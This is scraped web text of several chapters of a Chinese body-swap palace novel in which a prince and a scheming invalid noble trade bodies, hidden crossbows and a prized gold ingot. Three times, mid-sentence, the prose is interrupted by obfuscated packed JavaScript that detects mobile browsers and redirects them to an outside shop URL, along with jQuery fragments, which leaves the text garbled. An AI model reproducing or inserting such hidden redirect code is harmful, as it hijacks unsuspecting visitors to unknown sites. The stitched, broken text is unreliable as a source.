l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727623|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的小身板:“你就是吃太少才这么瘦的。” 也连累他穿进这具身体后被一个孩子按在床上灌药! 晏行昱“哦”了一声,拿着筷子闷头扒拉碗里的米。 荆寒章无意中看了一眼,发现他竟然将自己夹给他的那块肉偷偷在往米饭底下塞,像是藏东西似的把肉给盖上了。 他自以为天衣无缝,实际上荆寒章完全看在眼里。 荆寒章:“……” 荆寒章幽幽道:“你是不是无论遇到什么事情,以为只要藏起来就不会被人发现了?” 晏行昱拿着筷子的手一抖,这才抬头,轻声说:“行昱……在寺庙待久了,不能吃肉,望殿下恕罪。” 荆寒章眉头一皱,这才想起来这一茬。 久食素食的人胃极其娇嫩,那对旁人来说极其美味的荤菜对他们而言不啻于毒药。 荆寒章无意让晏行昱病弱的身子雪上加霜,也没有再提了。 晏行昱埋完肉,也吃了半饱,但因为荆寒章还没吃完,只好拿着筷子夹着一颗颗米粒继续埋肉玩。 直到荆寒章吃完了,他才将筷子放下。 天已然全黑了,雪还是没下。 荆寒章有些困,也没多待,被下人带着去了收拾好的客房。 夜深人静,晏行昱孤身一人坐在炭盆前,对着炭火伸出如玉似的手,轻轻将冰凉的手烤热。 窗外突然发出一声轻微至极的声响,一抹人影转瞬而过。 晏行昱面不改色,从轮椅扶手的暗格出拿出来一颗金锞子。 他拿着金锞子对着火光照了照,瞧着那金子的光芒,似乎十分喜欢。 “圣上。” 晏行昱呢喃了一句:“娘亲。” “荆寒章。” 晏行昱盯着掌心中闪着光芒的金锞子,眸中又温柔又欢喜,他轻轻动了动掌心,看着金锞子在他掌心来回滚动。 末了,他一合拢手掌,轻声说:“这次又会是谁想杀我?” 不知过了多久,阿满兴冲冲地拎了个昏死的人跑进来,欢天喜地道:“公子,我逮到了个新鲜的虫子,从没见过呢!” 晏行昱的羽睫微微一垂,阴影几乎将鲜艳的泪痣遮掩住,他突然一笑,眼底水波微转,仿佛要落下泪来。 “原来,是娘亲啊。” 金锞子直直从他掌心滚了下来,砸在地上。 咔哒一声,玉珠落在地上的声音,让荆寒章猛地打了个寒颤。 他恍惚间感觉到自己好像在坐着,但他明明记得回到相府偏院后他等了半天没等到雪,很快就睡下了。 荆寒章一愣,骤然清醒。 雪已经下了! 他猛地张开眼睛,视线一垂,就对上一个瞪大眼睛死死看着他的男人。 荆寒章:“……” 荆寒章险些惊叫出声,但心尖传来的疼痛让他立刻忍住了。 他看了看一旁的手,柔弱无骨,皮肤比他雕刻过的所有玉料都要好上无数倍,是独属于晏行昱的手。 第二次魂魄互换,荆寒章没有第一回那么惊慌,他悄无声息吸了一口气,手指无意识地一捻,感觉拇指和食指指腹有点奇怪的触感。 荆寒章垂眸一看,就瞧见自己右手上正持着一根绣花针。 荆寒章:“……” 他木然抬头看去,跪在他脚下的男人正奄奄一息,双眸瞪得极大,脖颈处的穴位上已经插了数根绣花针,针针几乎都往死穴旁戳。 荆寒章:“……” 荆寒章不知是不是被震呆了,第一反应竟然是…… “还好没有把衣服送过来让他缝。” 否则,他都不知道那披着鹿皮的蛇蝎小美人,到底会不会用缝过人脖子的针来给他缝衣裳。 10. 生疏 相府客房。 晏行昱张开眼睛,撑着手坐了起来。 上一次到了荆寒章的身体中时,晏行昱只觉得是在做梦,并未有太多感觉,而现在他是真切地清楚自己的意识是在另外一具陌生的身体中。 跟随了他十余年的痛苦和孱弱一夕之间消弭无形,晏行昱轻轻抬手按住了心口,感觉到掌心下心脏有力地跳动,蓬勃而鲜活。 并不像他孱弱的如纸般单薄的骨肉下,那颗仿佛下一瞬就会停止跳动的心。 明明互换后他第一时间就该去寻荆寒章,但晏行昱不知为什么,却出神地坐在温热的榻上,按着胸口缓缓数着心跳。 数着数着,他突然喃喃开口,也不知是在对谁说。 “我要哭了。” 下一瞬,他轻轻一眨眼,两行泪毫无征兆地落了下来。 接着,万籁寂静的窗外突然传来一声暴躁的怒吼。 “开门!你,给我把门踹开!” 这声音听着是晏行昱,但语调却是独属于荆寒章的。 有下人在拦着他:“少爷!这可是七殿下的住处,冒犯了皇子可是重罪啊。” “少废话!把他给本殿……我叫出来!有什么罪我自己担着!咳咳……” 晏行昱:“……” 回想起互换身体时自己在做什么,晏行昱突然僵了一下。 很快,有下人战战兢兢地来到寝房门口敲了两下门,怯怯道:“殿下?” 晏行昱深吸一口气:“让他进来吧。” 下人如释重负,连忙跑出去,将发了疯的“相府公子”给迎了进来。 荆寒章被阿满推着轮椅冲进了“七殿下”的寝房,和榻上的晏行昱隔着珠帘相望。 “你先走。”荆寒章打算先把阿满给支出去,再好好和这个蛇蝎美人算账。 阿满有些担心,凑到“公子”耳畔小声说:“公子,您半夜将七皇子吵醒,他不会把您生吞活剥了吧?” 生啖活人荆寒章:“……” 耳力很好晏行昱:“……” 荆寒章准备暴怒:“你——” 还没开始发怒,心口就传来一阵钻心地疼,他按着胸口脸色惨白地忍过那阵疼痛,有气无力道:“出去。” 阿满很听公子的话,微微一行礼,出去了。 荆寒章还从没体会过有火不能发的痛苦,他又实在是气狠了,一发怒心口就疼,只能强行压着怒火,别提有多憋屈。 荆寒章看到床榻上的晏行昱还在那坐着,火气差点又上来。 “坐在那干什么,祭天呐?”荆寒章没好气道,“换上衣裳,我们马上去国师府。” 晏行昱一怔:“可现在已过子时,国师早就歇下了。” 荆寒章凉凉道:“我也早就歇下了,还不是照样被你弄醒了?” 晏行昱:“……” 荆寒章彻底失去耐心:“你先起来,我的身体可是好好的,围着京都跑上一圈都脸不红气不喘。” 晏行昱耐心地听他吹,试探着撑着手将双腿伸向床沿。 他双腿不便多年,如何自如行走都已忘得差不多了。 荆寒章双手环臂,用晏行昱那张艳丽的脸蛋做出满脸不耐烦的神态,莫名的违和。 他正不耐地等着晏行昱换衣出来,突然听到里面一声“噗通”的闷响,像是人的身体重重砸在地上的声音。 荆寒章:“……” “你在干什么?!” 他左右看了看轮椅,没发现什么能操控轮椅行走的机关,只好伸出手使劲掰着轮椅的木轮,生疏又艰难地让轮椅往前行了几步。 荆寒章操控着轮椅到了内室,掀开珠帘就瞧见他自己的身体正衣发凌乱,瘫坐在地上,似乎站不起来。 荆寒章:“???” 晏行昱尝试着手撑着身体想要站起来,但他瘫久了,短时间根本无法如常操控双腿走路,他歉意地一笑,赧然道:“殿下恕罪,行昱太长时间没走路了,有些习惯不来这具身体。” 荆寒章:“……” 荆寒章从没有过双腿瘫痪多年的经历,根本无法理解晏行昱的话。 他满脑子都是:“怎么会不习惯呢?行走不是人的本能吗,太长时间没走路也会有这种后遗症?” 荆寒章有点不信,晏行昱在那连试了很多次,还是没走两步就重重摔到地上,膝盖和地面碰撞的声音听得荆寒章有些牙疼。 “行了行了。”荆寒章彻底妥协了,唯恐晏行昱把自己的腿也给摔折了,“你就坐着吧,明日再说。” 要是晏行昱这个时候顶着他的壳子去国师府,当街摔个四脚朝天,丢人的还是他荆寒章。 晏行昱点点头,寻了个最近的椅子艰难坐了下来。 明明是自己的身体,荆寒章却从那张熟悉的脸庞上看出了满满的陌生。 晏行昱在寒若寺与青灯古佛相伴,性子温润又带着点疏冷,哪怕用荆寒章那张不可一世的脸,依然能瞧出那一派如幽潭的心湖,仿佛什么都不能让其动容。 除了银子。 荆寒章觉得很是新奇,仔仔细细看了半天,突然发现了问题,他蹙眉道:“你哭什么?” 晏行昱一愣,抬手摸了摸脸,这才意识到自己脸上还有未干的泪痕,他撩着袖子擦了,低声道:“做了个噩梦。” 荆寒章嗤笑,做个噩梦都能被吓哭,这人怎么能这么…… 荆寒章:“……” 荆寒章突然就笑不出来了。 他想起来了那破茅草屋里被晏行昱拿着绣花针戳脖子,戳到还剩下一口气的倒霉男人。 荆寒章抬手揉了揉眉心,对自己有些痛恨。 他明明最该知道晏行昱到底是个什么样的人,但为什么就不长记性,只要看到这张脸就会觉得此人弱小无依,是个花瓶美人呢? 晏行昱还在仔细地擦泪痕,姿态说不出的雍容优雅,眉头轻轻蹙着,仿佛有解不开的忧愁。 荆寒章看到他这副模样,完全想象不出晏行昱到底是用什么样的神情姿态,将绣花针戳向那人的脖颈的。 恍惚间,荆寒章突然想到了江枫华对他说的晏行昱的命格。 七杀格,大凶之煞。 晏行昱擦好了眼泪,抬头看向荆寒章。 两个真假瘸子面面相觑。 最后,还是荆寒章最先开口:“你房里的男人是谁?” 说完后他就有些后悔了,这话听着怎么像是抓奸的怨夫? 晏行昱不知是不是被拆穿的更狠了,已放弃掩藏,温顺地如实回答:“我娘亲派来要杀我的人。” 荆寒章一愣:“你娘亲?相府夫人?她为何要杀你?” 晏行昱垂眸,轻声说:“因为我是灾星。” 荆寒章蹙眉,直接道:“别骗我,我不信这么拙劣的借口。” “确实如此。”晏行昱想了想,道,“当年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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荆寒章这才意识到自己想多了,他干咳一声,掩住自己的失态,耳朵尖尖还是红的,小声嘀咕道:“这么事多。” 却也没有非要在客房睡了。 他正要喊阿满回那“破茅草屋”,晏行昱突然小声开口了:“殿下。” 荆寒章正烦着:“说。” 晏行昱说:“您能将手臂上的弩.箭还给我吗?” 荆寒章想了想,不知哪来的小脾气,哼了一声:“免了,你连我的腿都不会操控,走两步摔三跤。如果手也生疏,不小心触动了箭伤了本殿下的身体,你担待得起吗?” 晏行昱连忙保证:“行昱对弩.箭极其熟稔,定不会伤了殿下贵体。” 荆寒章说:“我不信。” 晏行昱离了暗器没有丝毫安全感,他浑身都像是紧绷的弓弦,都在隐隐打颤了。 荆寒章见他脸都白了,微微一挑眉,道:“给你,也行啊。但你必须拿一样东西来换。” 晏行昱立刻说:“您说。” 荆寒章抬起手,指腹捏着一颗不知从哪里捡到的金锞子,突然露出一个坏笑:“这个金锞子,给你殿下了。” 晏行昱:“……” 晏行昱眼睛猛地张大,不可置信地看着他。 11. 珍宝 晏行昱从没想到堂堂皇子竟然也会和他一样趁火打劫。 那一颗金锞子,足够买一堆弓.弩了! 晏行昱着急得差点想从椅子上站起来,但又怕摔只能强压住理智。 他焦急得不行,手死死掰着椅子扶手,脚尖都在不自觉地点着地,一下又一下,看样子似乎马上冲上去把他的金锞子夺回来。 “殿下……”晏行昱不想给他,又不能直接拒绝,只能徒劳无功地点着脚尖,眼巴巴地看着荆寒章手指上捏着的金锞子,嘴中又软又可怜地重复着,“殿下,殿下殿下。” 荆寒章直接笑了出来。 晏行昱有些茫然,不知道他为什么这么笑。 荆寒章把玩着那光滑的金锞子,边笑边等着晏行昱回答。 晏行昱在那自顾自焦急半天,手都要将扶手掰碎了,才嗫嚅着道:“殿下,我能拿旁的来换吗?” 荆寒章饶有兴致地撑着轮椅扶手看着他——他本来是想高翘着腿的,但连试了好几下都没能操控这瘫子腿,只能装模作样地撑着下颌,看晏行昱能说出什么花儿来。 晏行昱正襟危坐,为了金锞子而发奋努力。 他说:“我能告诉您我榻上暗器的位置。” 荆寒章凉凉道:“一个在床柱那,一个就在你手上,我都知道。你别想那这个糊弄我。” “不、不是。”晏行昱,“还有其他的地方也藏着暗器,约摸有七八处。” 荆寒章:“……” 荆寒章手中的金锞子险些从他指缝滑出去,他愕然道:“七八处?!” 荆寒章本来以为手上绑着暗器已经算是谨慎的极限了,没想到除此之外竟然还有七八处。 他就真的不怕晚上一翻身无意中触到了暗器机关,稀里糊涂死在自己手上吗?! 每一次荆寒章觉得此人就是个有点心机的柔弱无害小美人时,晏行昱总能用凶残到连他都觉得可怕的举动来打破他的所有幻想。 不过,晏行昱这么缺乏安全感的人,为了一颗金锞子都能将护着自己性命的暗器之处说出来,荆寒章对他的爱财之心叹为观止。 荆寒章瞪了他一眼:“如果我今日不问,你是不是也不说?任由我回去被你的暗器射成筛子?” 晏行昱眼睛一直紧紧盯着那颗金锞子,根本没注意他在说什么,听到声音满脸迷茫道:“啊?殿下同意还给行昱了吗?” 荆寒章:“……” 晏行昱说完,也觉得堂堂皇子一掷千金都是常事,根本没可能坑他金子,忙伸出手,眼巴巴地看着荆寒章,等着他把金锞子还给自己。 荆寒章这次是真的要被他气笑了。 他将金锞子捏着朝着晏行昱屈指一弹,晏行昱反应极快,几乎是转瞬间伸出手,看也不看地随手一接,便将金锞子握在掌心。 荆寒章皮笑肉不笑:“身手不错啊。” 晏行昱浑身一僵。 若是放在平时,他定是会将柔若无依病美人的戏做到底,就算有人丢暗器他也不会伸手,但刚才他是真的慌了,想也没想就抬手去接。 晏行昱握着金锞子,闷闷地低着头,又想要把半张脸缩在衣领里。 “别藏了。”荆寒章瞥他,小心翼翼撩起了袖子,“这个弩怎么取下来?我试了好几回都没能取下来,这机关也太死了。嘶,卡得手疼。” 一听到荆寒章要还他弩,晏行昱眼睛都亮了。 他也不怕摔了,艰难地扶着桌子起身,尝试着走了一步,虽然步履踉跄,但起码不再像方才那样走一步摔三跤了。 荆寒章饶有兴致地看着他一步步走到自己身边来。 晏行昱走路走得极其艰难,只是五步的路程他硬生生走出了五百步的架势,等走到轮椅旁时他额角已经有些汗水了。 荆寒章古怪道:“有这么难吗?” 晏行昱虽然有些疲倦,但眼睛却在闪着波光,他扶着轮椅扶手喘了两下,有些欢喜地看着荆寒章,软声说:“行昱能走路了。” 荆寒章愣了一下,不知怎么的有些心疼,再多挖苦的话再也说不出来了。 晏行昱实在是撑不住,只好撩着衣袍坐在了地上。 他仰着头看着荆寒章,眼底还残留着未散去的愉悦,他眸子弯弯,抬起双手,示意荆寒章将手递给他。 荆寒章身体微微前倾,将手递给他,更近地打量他。 看着看着,他都有些恍惚了,觉得这张脸明明熟悉得要命,却只看出了满满的陌生,那脸庞上全是他这辈子都不会有的神情。 小心翼翼的欢喜。 努力掩藏的慌张。 还有更深处的……他根本瞧不出来的深沉心机。 晏行昱没注意他的打量,正带着点欢喜地拆卸手腕上的弩。 那弩应该是他自己改造的,和荆寒章在巡防营瞧见的弓.弩很不一样,小巧精致许多,但冲势杀伤力应当会减大半。 那弩旁侧还有两个狭长的小盒,也不知装了什么,沉甸甸的,加上为了防止弩脱手而扣在手腕上的机关,准确无误地卡在小臂上,十分贴合。 晏行昱拆卸□□时动作很快,准确地将暗扣和机关卸开,不知道为什么特意避开了那两个小匣子,似乎担心里面的东西掉出来。 荆寒章看了一会,问:“你很懂弩?” “嗯。”晏行昱抿唇笑了一下,似乎有些赧然但又带着想要别人认可夸赞的小炫耀,“这是我自己做的。” 荆寒章看着他这个仿佛孩子般纯澈罕见的笑,恍惚间觉得这才是他真正的模样,而不是平日里见到的心如止水仿佛要立地成佛的老成样子。 荆寒章很少会去称赞别人,往往都是他随手做一件事,也不管优秀与否,就在那等着别人来夸赞自己,反正总会有人上前拍马屁。 但无论那些赞赏中到底有多少真心多少假意,他一概不去管,因为单纯的赞赏真的很令人愉悦。 荆寒章想了想,真心实意道:“你很厉害。” 晏行昱手一顿,还没卸下来的弩.箭无意中一弹,咻地一声直直射向荆寒章的面门。 荆寒章立刻就要伸手去挡,但手才刚抬起来,就看到晏行昱不知什么时候已经抓住了箭尾,锋利的箭尖和荆寒章的眉心只有三寸不到。 荆寒章:“……” 荆寒章生平第一次夸赞人,就受到了如此“报应”。 他脸色沉沉,正要开口,就看到晏行昱飞快将弩从他手臂上卸下来,他大概是心虚,动作有些急切,那小小弩上不知作何用处的狭小盒子被碰开,落下来一堆铁质的暗器,稀里哗啦洒了一地。 荆寒章:“……” 晏行昱:“……” 两人面面相觑。 最后还是晏行昱“呜”了一声,一把拽过拖在轮椅上的大氅,直直盖在头上,抱着膝盖藏起来装死了。 荆寒章:“……” 荆寒章一甩手把大氅夺回来,露出晏行昱的脑袋,没好气道:“我差点被杀都没说什么,你委屈什么?” 晏行昱小声说:“我没有。” “好,你没有,我有行了吧?”荆寒章瞪他一眼,抬下巴示意晏行昱手中另外一个匣子,“那个呢,那里面装了什么?” 晏行昱仰头看他,如实道:“不能说。” 荆寒章都要翻白眼了:“你连说谎都不会是不是?” 晏行昱点头,见荆寒章又要数落他,他连忙保证:“但我可以学!” 荆寒章:“ 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荆寒章回去后,将阿满挥退,循着晏行昱的话将那七八处暗器给一一解了下来。 对着床榻上的弩、匕首、软鞭……和一些他根本叫不出来名字的兵器,荆寒章沉默了许久,才一言难尽地躺下了。 “有点可怕。”荆寒章闭着眼睛还在想,“怎么比我一个皇子还谨慎?这都快病态了,有这么多人要杀他吗?” 雪簌簌落下,晏行昱的身体太过病弱,荆寒章只是出去一趟浑身就疲累得不行,只躺下一会就浑浑噩噩地睡去了。 夜幕静谧无声,只有雪落下的轻微声响。 阿满不知从哪里进来,撩开床幔,面无表情地看着床榻上熟睡的人。 他视线一一在床榻上的几处地方扫过,似乎是发现了暗器已经不再,脸上狠意更重。 荆寒章依然在睡觉,对周围一切一无所知。 阿满看了他良久,反手往腰后摸去,缓缓拔出一把锋利的匕首。 他像一只悄无声息的猫,没有半点声音地凑上前,手中的匕首还未靠近床榻上人的脖颈,就被一只手轻轻扣住了。 阿满浑身一僵,愕然回头看去。 “荆寒章”站在他身后,握着他的手,垂眸淡淡道:“都说过多少次了,别拿匕首杀人,我怕血。” 阿满一呆:“公子?” “嗯。”晏行昱将阿满的手松开,根本不在意阿满要对他的身体出手,反而矮下身小心翼翼地将床榻下的小暗格打开,似乎要做极其重要的事。 阿满整个人都处于恍惚状态,站在那满脸迷茫,呆呆地看着晏行昱,又喊了一句:“公子?” 晏行昱:“嗯。” 阿满活像见了鬼:“这到底是怎么回事?” 晏行昱随口道:“如你所见。” 他打开暗格后,又如往常一样漫不经心地吩咐道:“明日一早去国师府,让师兄来相府一趟。” 阿满本能应道:“是!” 应完后他更懵了。 晏行昱大半夜冒着大雪,踉踉跄跄地操控着并不怎么便利的双腿艰难回到了偏院。 阿满还以为他特意回来是要同自己说明这让人摸不着头脑的情况,但没想到他家换了个壳子的公子根本没打算和他解释。 阿满眼睁睁看着晏行昱满脸严肃认真地打开暗格里的双层暗格,又拿出一个带锁的小盒子,从袖子里掏出来一颗金锞子,视若珍宝地放了进去。 阿满:“……” 是了,这肯定是他家公子。 12. 天象 晏行昱将金锞子藏好后,才轻轻松了一口气,朝阿满伸出手让他扶着自己。 阿满浑浑噩噩地扶着晏行昱一步一瘸地走到了外室,晏行昱坐下后缓了一会,才偏头问他:“你刚才要杀‘我’?” 阿满趁这个时间已经反应过来了,古怪地看着自家公子顶着一张陌生的脸,怎么看怎么别扭。 “没有。”阿满深吸一口气,委屈地解释道,“我还以为荆寒章趁我不注意把您掉包了,所以想先看看那人是不是易容,如果是冒牌货我就先宰了他,定不会弄脏公子的床。” 晏行昱倒是有些意外:“你瞧出来了?” “嗯。”阿满信誓旦旦,“就公子那个谨慎的性子,怎么可能手中不戴弩,还把床榻上的暗器全都拿下来了?肯定有古怪!” 晏行昱一时不知这句话到底是在夸他还是在骂他。 阿满说了几句,也有些适应了,忙问:“那榻上躺着的,是荆寒章吗?” “嗯。”晏行昱也没隐瞒,点点头。 阿满整个人都懵了:“啊?这到底是怎么回事?” “不知道,所以让你明日早上去请师兄过来一趟。” 阿满眉头紧皱,点头说好。 晏行昱从桌子上的花瓶里又找出来一颗金锞子,随手塞到了袖子里。 阿满奇怪地问道:“公子拿钱做什么?” “他太坏了。”一说起这个,晏行昱还有些赌气,闷声说,“他虽然将金子还给了我,但一旦魂魄再换回来,这金锞子还是在他身上。” 晏行昱又不能暴露半夜他回来之事,有苦说不出,只能退而求其次。 “那颗不能给,只能换个给他。” 阿满也知道他家公子自小到大宝贝那颗金锞子跟什么似的,“哦”了一声,拿着手中的匕首挽了个花,随口道:“公子你们什么时候会换回来?” 晏行昱摇头:“我也不怎么清楚,上次只是一晚。” 阿满很聪明,立刻联想到了前几日“公子”扔猫的异状,他点点头:“好,交给我吧。” 晏行昱瞥他一眼:“交给你什么?” 阿满奇怪地说:“等公子恢复正常就杀了荆寒章,你们下回就不会再互换了。” 晏行昱:“……” 晏行昱沉默良久,才迟疑地问:“我方才的话,是这个意思?” “是啊。”阿满也有些犹疑,“难道阿满猜错了?” 晏行昱又开始沉默。 阿满盘腿坐在地上,像是猫一样抓晏行昱腰间的穗子玩,他左等右等没等到回答,百无聊赖道:“公子,杀不杀啊?” 晏行昱垂眸对上阿满纯澈的视线,半晌才摇头:“不杀。” 阿满不满:“为什么?” 晏行昱道:“他不杀我,所以我不害他。” 阿满不明所以:“嗯?” 晏行昱本能地想要摸佛珠,但手指刚动了两下他才反应过来佛珠在荆寒章那,他只好缩回了手,温声道:“他身份尊贵,暂时不能动。” 阿满撇撇嘴,只好把匕首收回去,继续玩穗子了。 晏行昱偏头看了一眼内室。 荆寒章依然在沉睡,好似对周围一切都没有任何防备。 晏行昱有些茫然地想:“他就这么信我吗?” 今晚晏行昱察觉到潜入偏院的刺客时,约摸已经猜到是谁,要么是圣上的惊蛰卫前来查探七殿下夜宿相府的原因,要么就是他娘亲终于打算杀他了。 晏行昱生性多疑,所以在这两个选择中硬生生多加了一人。 那就是荆寒章。 荆寒章张扬狂悖,却深受皇帝喜爱多年,晏行昱一直都觉得他一定不像表面上那般纨绔暴躁,不学无术。 晏行昱本以为,荆寒章会在两人魂魄互换之前杀掉他——就像他方才心中所想一样,所以忌惮提防了许久。 但没想到…… 晏行昱轻轻抚了抚手腕上的弩,突然垂下羽睫,轻笑了一声。 阿满疑惑抬头看他:“公子笑什么?” “笑皇帝。”晏行昱温柔地说,“一只猛兽却养出了个猫一样的儿子。” 阿满不懂,他也不想懂,他撇嘴,有些不开心地说:“公子待那个荆寒章可不一样了,还不杀他,还给他金锞子,您都没给过我金子,连银锞子都没给过。” 晏行昱撑着下颌,淡淡道:“你说对荆寒章来说,什么样的人比较好拿捏?” 阿满说:“反正我觉得活人都不好拿捏。” 所以他一向喜欢和死人打交道。 能让阿满拿捏的人,要么是死人,要么是正要死的人。 “傻子。”晏行昱屈指弹了阿满眉心一下,笑道,“是贪财之人。” 阿满歪头:“啊?” 晏行昱左手按上右手的脉门,随意道:“皇室中人最不缺的便是金银财宝,而一旦他认定我是个重度贪财鬼,那无论我表现得有多危险,他还是会本能觉得可以轻而易举将我掌控在手中。” 毕竟晏行昱爱的,便是荆寒章随手就能给的。 阿满疑惑了半天,看着他公子唇角嗔着算计人的柔笑,才疑惑道:“可公子你本来就很贪财啊。” 平时买茯苓糕都是一块一块地买,阿满每次去那家糕点铺子都会被小厮报以“穷鬼也来买糕点”的冷眼。 晏行昱:“……” 晏行昱唇角差点没崩住,偏头瞥了阿满一眼,将手一放,转移话题:“先给我探脉。” 阿满:“哦。” 他将手伸过去探了半天,没探出来什么问题,这才疑惑道:“为什么要探他的脉?” 晏行昱蹙眉:“他脉象有点古怪,但我医术不精,不怎么能探出来。” 他见阿满也满脸茫然,索性将手收了回来,吩咐道:“让人叫鱼息回京一趟。” 阿满掰着手指算了算时间:“鱼神医现在在南疆找‘佛生根’,那毒草难得的很,怕是一时半会回不来。再说马上就要到年关了,倒是国境一封,怕是很容易被困在半道上。” 晏行昱道:“让他快马加鞭赶回来。” 阿满迟疑:“唔。” 晏行昱轻声说:“就说我又犯病了,离了他不成。” 阿满:“……” 阿满古怪看着他,小声提醒道:“鱼神医您也敢骗?” 晏行昱这才想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727626|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,“啊”了一声,说:“那就说我又装病了,让他赶紧回来。” 阿满:“……” 可以的,很有公子的作风。 晏行昱吩咐完,让阿满扶着自己回了客房。 阿满刚要回去时,晏行昱却干咳了一声,小声说:“那明日茯苓糕……买两块吧。” 阿满:“……” 您终于知道自己抠了?! *** 在陌生的身体里,晏行昱根本睡不着,回到客房后便枯坐了一晚,时不时扶着桌子练习走路。 直到天明,他已经差不多能操控这具身体正常行走了。 荆寒章毫无防备地睡了一觉,一大早梳洗干净,便来找晏行昱要和他一起去国师府。 清早就过去国师府的阿满却很快回来,道:“国师昨晚进宫了,据说是司天监测出了不好的天象,整夜未归。” 荆寒章困倦得不行,正在打哈欠,闻言眉头一皱:“天象?什么天象能让国师都连夜进宫?” 阿满说不知。 荆寒章和晏行昱对视一眼,不约而同想到了晏行昱的七杀格。 就在这时,却有惊蛰卫特意前来相府,让阿满传话说是从西域寻来的于阗玉籽料到了,让殿下先去选,选剩下的才入国库。 荆寒章一听,差点跳起来,立刻道:“我这就回去!” 说完后,他浑身一僵,这才意识到现在的他根本回不去宫。 晏行昱乖顺地坐在那,他被拆穿了个彻底,索性毫不掩藏,还当着荆寒章的面摆弄弩。 毕竟放置在明面上的危险,比笑里藏刀的暗箭更容易掌控,也更令人心安。 晏行昱不擅长掌控别人,却深谙如何不着痕迹地让别人掌控自己。 果不其然,荆寒章昨晚明明看出他浑身上下处处都是危险,现在瞧见他在摆弄危险的弩,眼中的忌惮和排斥却已少了许多。 察觉到荆寒章的视线,晏行昱抬眸,轻轻一歪头:“殿下?” 荆寒章肃然问:“懂玉吗?” 晏行昱:“略懂。” “那就好。”荆寒章道,“你这就回宫,替我挑几块上等的玉料。” 晏行昱一怔,道:“我只是从书上瞧见过一些,并不懂怎么挑……” 他还没说完,荆寒章就手一挥,道:“那就不挑,你到时随便瞧一瞧玉料,直接说全都要。” 晏行昱:“……” 你还是人吗? 荆寒章见他还在犹豫,还以为他不敢进宫,索性一掷千金道:“你帮了我这回,回头你殿下亲自雕块玉送你,怎么样?” 知道于阗玉价值不菲,还在沉默的晏行昱立刻抬眸,唯恐荆寒章反悔,飞快道:“成交。” 荆寒章:“……” 说完后,晏行昱又有些懊恼,这声“成交”听着好像奸商,又忙说:“好。” 荆寒章凉凉看他。 晏行昱这才惊觉自己失了礼数,只好带着点心虚,又小小声地说了句:“是。” 阿满:“……” 贪财之人的确好拿捏,但他真的看不出来自家公子这贪财的小模样到底是装的,还是真的。 13. 进宫 晏行昱进宫前,荆寒章把他叫到跟前,当着他的面把手臂上的弩给拆下来了。 晏行昱眼睛都睁大了,挣扎着就要往后跑,却被荆寒章一把扣住手。 荆寒章边拆弩边道:“你现在是七皇子,进宫带着暗器成什么样子,若是被惊蛰卫发现,我父皇必定细查。” 晏行昱浑身僵直,讷讷道:“可是……” 荆寒章瞥他一眼,见他像猫一样拼命缩着爪子,没好气道:“我父皇如果知道你我魂魄互换,等到我两人恢复正常后,第一件事便是让惊蛰卫暗中除掉你。” 晏行昱一愣。 “傻子。”荆寒章将弩解了下来,随手扔在桌子上,瞥他一眼,道,“不想死就好好学着我的言行举止,被人发现你殿下也救不了你。” 晏行昱小脸苍白,他回京后就进过一次宫,那次身上什么都没带,还被皇帝一通算计,回来后大病一场,让他越发排斥进宫。 荆寒章看到他脸色难看成这样,“啧”了一声,朝他一勾手,道:“头伸过来。” 晏行昱做不来荆寒章那种俯下身将脑袋怼到别人面前去的狂妄举止,走上前轻轻矮下身,仰着头看他——哪怕是蹲下,也是荆寒章这辈子都做不出来的风度优雅。 荆寒章:“……” 荆寒章也不屑风雅,气咻咻地伸手撩了一下晏行昱发上的赤绦,道:“这赤绦里有削铁如泥的玄铁丝,够你防身的了。” 晏行昱抬手抚了抚赤绦,果不其然发现里面有几根铁质的丝。 “能走了吧?”荆寒章不耐烦地敲着扶手,催促他,“快点快着点,我的籽料若是被人抢走了,你可就没玉了。” 晏行昱忙站起身,手指绕着赤绦,终于觉得有些安全感,他点头:“是。” 说罢转身离开。 阿满出去送他,晏行昱在出偏院门时,突然像是想起了什么,回头对阿满叮嘱了一番。 阿满一言难尽地应下了。 前来接荆寒章的是只听令于皇帝的惊蛰卫,晏行昱本来觉得只是几个侍卫过来,没想到一出了相府门,就瞧见了坐在高头大马上熟悉的男人。 那人穿着一袭紫袍,腰间别着弯刀,眉眼如刀全是令人惊骇的威严和戾气。 晏行昱认得他,惊蛰卫统领,晏沉晰。 是他堂兄。 晏戟有个同胞兄弟,两人一个是丞相,一个是威名赫赫的镇国大将军,皆是朝中重臣。 晏行昱在寒若寺时,听国师说晏戟晏修知二人关系如水火,十分不和。 晏行昱已有半月,将军府愣是没有一个人过来问候,而晏沉晰听令来相府接七殿下,却只让人传话,连相府的门都不想踏入。 看来两府关系当真不好。 晏沉晰瞧见“七殿下”出来,翻身下马,抱拳行礼道:“迎殿下回宫。” 晏行昱故作镇定,回想了一下平日里荆寒章的举止习惯,然后他说。 “哼。” 晏沉晰:“……” 晏行昱哼完后,没敢看晏沉晰的表情,瞧见一旁悬挂着宫灯的车辇,二话不说踩着马凳上去了,把帘子一甩,隔绝掉周围惊蛰卫或惊愕或诧异的视线。 晏沉晰回头看了一眼,眉头轻轻一皱,似乎没料到人这么容易就接到了。 前几日七殿下在宫内纵马,还逃了南书房的课,皇帝动了怒,勒令他一月不许骑马。 